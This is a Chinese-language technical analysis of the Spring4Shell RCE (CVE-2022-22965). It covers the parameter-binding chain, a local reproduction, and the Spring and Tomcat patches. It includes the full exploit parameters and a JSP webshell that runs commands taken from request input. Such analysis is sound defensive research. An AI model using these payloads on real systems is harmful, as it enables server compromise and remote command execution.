作者:麥兜
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

上周網上爆出Spring框架存在RCE漏洞,野外流傳了一小段時間后,Spring官方在3月31日正式發布了漏洞信息,漏洞編號為CVE-2022-22965。本文章對該漏洞進行了復現和分析,希望能夠幫助到有相關有需要的人員進一步研究。

一、前置知識

1.1 SpringMVC參數綁定

為了方便編程,SpringMVC支持將HTTP請求中的的請求參數或者請求體內容,根據Controller方法的參數,自動完成類型轉換和賦值。之后,Controller方法就可以直接使用這些參數,避免了需要編寫大量的代碼從HttpServletRequest中獲取請求數據以及類型轉換。下面是一個簡單的示例:

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class UserController {
    @RequestMapping("/addUser")
    public @ResponseBody String addUser(User user) {
        return "OK";
    }
}
public class User {
    private String name;
    private Department department;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public Department getDepartment() {
        return department;
    }

    public void setDepartment(Department department) {
        this.department = department;
    }
}
public class Department {
    private String name;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

當請求為/addUser?name=test&department.name=SEC時,public String addUser(User user)中的user參數內容如下:

image

可以看到,name自動綁定到了user參數的name屬性上,department.name自動綁定到了user參數的department屬性的name屬性上。

注意department.name這項的綁定,表明SpringMVC支持多層嵌套的參數綁定。實際上department.name的綁定是Spring通過如下的調用鏈實現的:

User.getDepartment()
    Department.setName()

假設請求參數名為foo.bar.baz.qux,對應Controller方法入參為Param,則有以下的調用鏈:

Param.getFoo()
    Foo.getBar()
        Bar.getBaz()
            Baz.setQux() // 注意這里為set

SpringMVC實現參數綁定的主要類和方法是WebDataBinder.doBind(MutablePropertyValues)

1.2 Java Bean PropertyDescriptor

PropertyDescriptor是JDK自帶的java.beans包下的類,意為屬性描述器,用于獲取符合Java Bean規范的對象屬性和get/set方法。下面是一個簡單的例子:

import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;

public class PropertyDescriptorDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");

        BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
        PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
        PropertyDescriptor userNameDescriptor = null;
        for (PropertyDescriptor descriptor : descriptors) {
            if (descriptor.getName().equals("name")) {
                userNameDescriptor = descriptor;
                System.out.println("userNameDescriptor: " + userNameDescriptor);
                System.out.println("Before modification: ");
                System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
                userNameDescriptor.getWriteMethod().invoke(user, "bar");
            }
        }
        System.out.println("After modification: ");
        System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));
    }
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification: 
user.name: foo
After modification: 
user.name: bar

從上述代碼和輸出結果可以看到,PropertyDescriptor實際上就是Java Bean的屬性和對應get/set方法的集合。

1.3 Spring BeanWrapperImpl

在Spring中,BeanWrapper接口是對Bean的包裝,定義了大量可以非常方便的方法對Bean的屬性進行訪問和設置。

BeanWrapperImpl類是BeanWrapper接口的默認實現,BeanWrapperImpl.wrappedObject屬性即為被包裝的Bean對象,BeanWrapperImpl對Bean的屬性訪問和設置最終調用的是PropertyDescriptor

import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;

public class BeanWrapperDemo {
    public static void main(String[] args) throws Exception {
        User user = new User();
        user.setName("foo");
        Department department = new Department();
        department.setName("SEC");
        user.setDepartment(department);

        BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
        userBeanWrapper.setAutoGrowNestedPaths(true);
        System.out.println("userBeanWrapper: " + userBeanWrapper);

        System.out.println("Before modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));

        userBeanWrapper.setPropertyValue("name", "bar");
        userBeanWrapper.setPropertyValue("department.name", "IT");

        System.out.println("After modification: ");
        System.out.println("user.name: " + userBeanWrapper.getPropertyValue("name"));
        System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue("department.name"));
    }
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification: 
user.name: foo
user.department.name: SEC
After modification: 
user.name: bar
user.department.name: IT

從上述代碼和輸出結果可以看到,通過BeanWrapperImpl可以很方便地訪問和設置Bean的屬性,比直接使用PropertyDescriptor要簡單很多。

1.4 Tomcat AccessLogValveaccess_log

Tomcat的Valve用于處理請求和響應,通過組合了多個ValvePipeline,來實現按次序對請求和響應進行一系列的處理。其中AccessLogValve用來記錄訪問日志access_log。Tomcat的server.xml中默認配置了AccessLogValve,所有部署在Tomcat中的Web應用均會執行該Valve,內容如下:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
               prefix="localhost_access_log" suffix=".txt"
               pattern="%h %l %u %t &quot;%r&quot; %s %b" />

下面列出配置中出現的幾個重要屬性: - directory:access_log文件輸出目錄。 - prefix:access_log文件名前綴。 - pattern:access_log文件內容格式。 - suffix:access_log文件名后綴。 - fileDateFormat:access_log文件名日期后綴,默認為.yyyy-MM-dd

二、漏洞復現

2.1 復現環境

  • 操作系統:Ubuntu 18
  • JDK:11.0.14
  • Tomcat:9.0.60
  • SpringBoot:2.6.3

2.2 復現過程

  1. 創建一個maven項目,pom.xml內容如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.3</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>CVE-2022-22965</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <packaging>war</packaging>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
            <scope>provided</scope>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
  1. 項目中添加如下代碼,作為SpringBoot的啟動類:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;

@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
    @Override
    protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
        return builder.sources(ApplicationMain.class);
    }

    public static void main(String[] args) {
        SpringApplication.run(ApplicationMain.class, args);
    }
}
  1. 將章節1.1 SpringMVC參數綁定中的User類和UserController類添加到項目中。

  2. 執行maven打包命令,將項目打包為war包,命令如下:

mvn clean package
  1. 將項目中target目錄里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,復制到Tomcat的webapps目錄下,并啟動Tomcat。

  2. https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下載POC文件,執行如下命令:

python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
  1. 瀏覽器中訪問http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,復現漏洞。

image

三、漏洞分析

3.1 POC分析

我們從POC入手進行分析。通過對POC中的data URL解碼后可以拆分成如下5對參數。

3.1.1 pattern參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.pattern
  • 參數值:%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

很明顯,這個參數是SpringMVC多層嵌套參數綁定。我們可以推測出如下的調用鏈:

User.getClass()
    java.lang.Class.getModule()
        ......
            SomeClass.setPattern()

那實際運行過程中的調用鏈是怎樣的呢?SomeClass是哪個類呢?帶著這些問題,我們在前置知識中提到的實現SpringMVC參數綁定的主要方法WebDataBinder.doBind(MutablePropertyValues)上設置斷點。

image

經過一系列的調用邏輯后,我們來到AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。該方法通過遞歸調用自身,實現對class.module.classLoader.resources.context.parent.pipeline.first.pattern的遞歸解析,設置整個調用鏈。

我們重點關注第820行,AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);,該行主要實現每層嵌套參數的獲取。我們在該行設置斷點,查看每次遞歸解析過程中各個變量的值,以及如何獲取每層嵌套參數。

image

第一輪迭代

進入getPropertyAccessorForPropertyPath(String)方法前: - thisUserBeanWrapperImpl包裝實例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern - nestedPropertyclass,即本輪迭代需要解析的嵌套參數

image

進入方法,經過一系列的調用邏輯后,最終來到BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到class嵌套參數最終通過反射調用User的父類java.lang.Object.getClass(),獲得返回java.lang.Class實例。

image

getPropertyAccessorForPropertyPath(String)方法返回后: - thisUserBeanWrapperImpl包裝實例 - propertyPathclass.module.classLoader.resources.context.parent.pipeline.first.pattern - nestedPathmodule.classLoader.resources.context.parent.pipeline.first.pattern,作為下一輪迭代的propertyPath - nestedPropertyclass,即本輪迭代需要解析的嵌套參數 - nestedPajava.lang.ClassBeanWrapperImpl包裝實例,作為下一輪迭代的this

image

經過第一輪迭代,我們可以得出第一層調用鏈:

User.getClass()
    java.lang.Class.get???() // 下一輪迭代實現

第二輪迭代

image

image

image

module嵌套參數最終通過反射調用java.lang.Class.getModule(),獲得返回java.lang.Module實例。

經過第二輪迭代,我們可以得出第二層調用鏈:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.get???() // 下一輪迭代實現

第三輪迭代

image

image

image

classLoader嵌套參數最終通過反射調用java.lang.Module.getClassLoader(),獲得返回org.apache.catalina.loader.ParallelWebappClassLoader實例。

經過第三輪迭代,我們可以得出第三層調用鏈:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一輪迭代實現

接著按照上述調試方法,依次調試剩余的遞歸輪次并觀察相應的變量,最終可以得到如下完整的調用鏈:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                org.apache.catalina.webresources.StandardRoot.getContext()
                    org.apache.catalina.core.StandardContext.getParent()
                        org.apache.catalina.core.StandardHost.getPipeline()
                            org.apache.catalina.core.StandardPipeline.getFirst()
                                org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern參數最終對應AccessLogValve.setPattern(),即將AccessLogValvepattern屬性設置為%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i,也就是access_log的文件內容格式。

我們再來看pattern參數值,除了常規的Java代碼外,還夾雜了三個特殊片段。通過翻閱AccessLogValve的父類AbstractAccessLogValve的源碼,可以找到相關的文檔:

即通過AccessLogValve輸出的日志中可以通過形如%{param}i等形式直接引用HTTP請求和響應中的內容。完整文檔請參考文章末尾的參考章節。

結合poc.py中headers變量內容:

headers = {"suffix":"%>//",
            "c1":"Runtime",
            "c2":"<%",
            "DNT":"1",
            "Content-Type":"application/x-www-form-urlencoded"
}

最終可以得到AccessLogValve輸出的日志實際內容如下(已格式化):

<%
if("j".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
}
%>//

很明顯,這是一個JSP webshell。這個webshell輸出到了哪兒?名稱是什么?能被直接訪問和正常解析執行嗎?我們接下來看其余的參數。

3.1.2 suffix參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.suffix
  • 參數值:.jsp

按照pattern參數相同的調試方法,suffix參數最終將AccessLogValve.suffix設置為.jsp,即access_log的文件名后綴。

3.1.3 directory參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.directory
  • 參數值:webapps/ROOT

按照pattern參數相同的調試方法,directory參數最終將AccessLogValve.directory設置為webapps/ROOT,即access_log的文件輸出目錄。

這里提下webapps/ROOT目錄,該目錄為Tomcat Web應用根目錄。部署到目錄下的Web應用,可以直接通過http://localhost:8080/根目錄訪問。

3.1.4 prefix參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.prefix
  • 參數值:tomcatwar

按照pattern參數相同的調試方法,prefix參數最終將AccessLogValve.prefix設置為tomcatwar,即access_log的文件名前綴。

3.1.5 fileDateFormat參數

  • 參數名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
  • 參數值:空

按照pattern參數相同的調試方法,fileDateFormat參數最終將AccessLogValve.fileDateFormat設置為空,即access_log的文件名不包含日期。

3.1.5 總結

至此,經過上述的分析,結論非常清晰了:通過請求傳入的參數,利用SpringMVC參數綁定機制,控制了Tomcat AccessLogValve的屬性,讓Tomcat在webapps/ROOT目錄輸出定制的“訪問日志”tomcatwar.jsp,該“訪問日志”實際上為一個JSP webshell。

在SpringMVC參數綁定的實際調用鏈中,有幾個關鍵點直接影響到了漏洞能否成功利用。

3.2 漏洞利用關鍵點

3.2.1 關鍵點一:Web應用部署方式

java.lang.Moduleorg.apache.catalina.loader.ParallelWebappClassLoader,是將調用鏈轉移到Tomcat,并最終利用AccessLogValve輸出webshell的關鍵。

ParallelWebappClassLoader在Web應用以war包部署到Tomcat中時使用到。現在很大部分公司會使用SpringBoot可執行jar包的方式運行Web應用,在這種方式下,我們看下classLoader嵌套參數被解析為什么,如下圖:

image

可以看到,使用SpringBoot可執行jar包的方式運行,classLoader嵌套參數被解析為org.springframework.boot.loader.LaunchedURLClassLoader,查看其源碼,沒有getResources()方法。具體源碼請參考文章末尾的參考章節。

這就是為什么本漏洞利用條件之一,Web應用部署方式需要是Tomcat war包部署。

3.2.2 關鍵點二:JDK版本

在前面章節中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);調用的過程中,實際上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults緩存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行構造方法中:

image

該行的意思是:當Bean的類型為java.lang.Class時,不返回classLoaderprotectionDomainPropertyDescriptor。Spring在構建嵌套參數的調用鏈時,會根據CachedIntrospectionResults緩存的PropertyDescriptor進行構建:

image

不返回,也就意味著class.classLoader...這種嵌套參數走不通,即形如下方的調用鏈:

Foo.getClass()
    java.lang.Class.getClassLoader()
        BarClassLoader.getBaz()
            ......

這在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java為了支持模塊化,在java.lang.Class中增加了module屬性和對應的getModule()方法,自然就能通過如下調用鏈繞過判斷:

Foo.getClass()
    java.lang.Class.getModule() // 繞過
        java.lang.Module.getClassLoader()
            BarClassLoader.getBaz()
                ......

這就是為什么本漏洞利用條件之二,JDK>=1.9。

四、補丁分析

4.1 Spring 5.3.18補丁

通過對比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一項名為“Redefine PropertyDescriptor filter的”提交。

image

進入該提交,可以看到對CachedIntrospectionResults構造函數中Java Bean的PropertyDescriptor的過濾條件被修改了:當Java Bean的類型為java.lang.Class時,僅允許獲取name以及Name后綴的屬性描述符。在章節3.2.2 關鍵點二:JDK版本中,利用java.lang.Class.getModule()的鏈路就走不通了。

image

4.2 Tomcat 9.0.62補丁

通過對比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一項名為“Security hardening. Deprecate getResources() and always return null.”提交。

image

進入該提交,可以看到對getResource()方法的返回值做了修改,直接返回nullWebappClassLoaderBaseParallelWebappClassLoader的父類,在章節3.2.1 關鍵點一:Web應用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的鏈路就走不通了。

image

五、思考

通過將代碼輸出到日志文件,并控制日志文件被解釋執行,這在漏洞利用方法中也較為常見。通常事先往服務器上寫入包含代碼的“日志”文件,并利用文件包含漏洞解釋執行該“日志”文件。寫入“日志”文件可以通過Web服務中間件自身的日志記錄功能順帶實現,也可以通過SQL注入、文件上傳漏洞等曲線實現。

與上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服務中間件自身也是用Java編寫和運行的,而部署運行在上面的Java Web應用,實際上是Java Web服務中間件進程的一部分,兩者間通過Servlet API標準接口在進程內部進行“通訊”。依靠Java語言強大的運行期反射能力,給予了攻擊者可以通過Java Web應用漏洞進而攻擊Java Web服務中間件的能力。也就是本次利用Web應用自身的Spring漏洞,進而修改了Web服務中間件Tomcat的access_log配置內容,直接輸出可執行的“日志”文件到Web 應用目錄下。

在日常開發中,應該嚴格控制Web應用可解釋執行目錄為只讀不可寫,日志、上傳文件等運行期可以修改的目錄應該單獨設置,并且不可執行。

本次漏洞雖然目前調用鏈中僅利用到了Tomcat,但只要存在一個從Web應用到Web服務中間件的class.module.classLoader....合適調用鏈,理論上Jetty、Weblogic、Glassfish等也可利用。另外,目前通過寫入日志文件的方式,也可能通過其它文件,比如配置文件,甚至是內存馬的形式出現。

本次漏洞目前唯一令人“欣慰”的一點是,僅對JDK>=1.9有效。相信不少公司均為“版本任你發,我用Java 8!”的狀態,但這也僅僅是目前。與其抱著僥幸心理,不如按計劃老老實實升級Spring。

參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1877/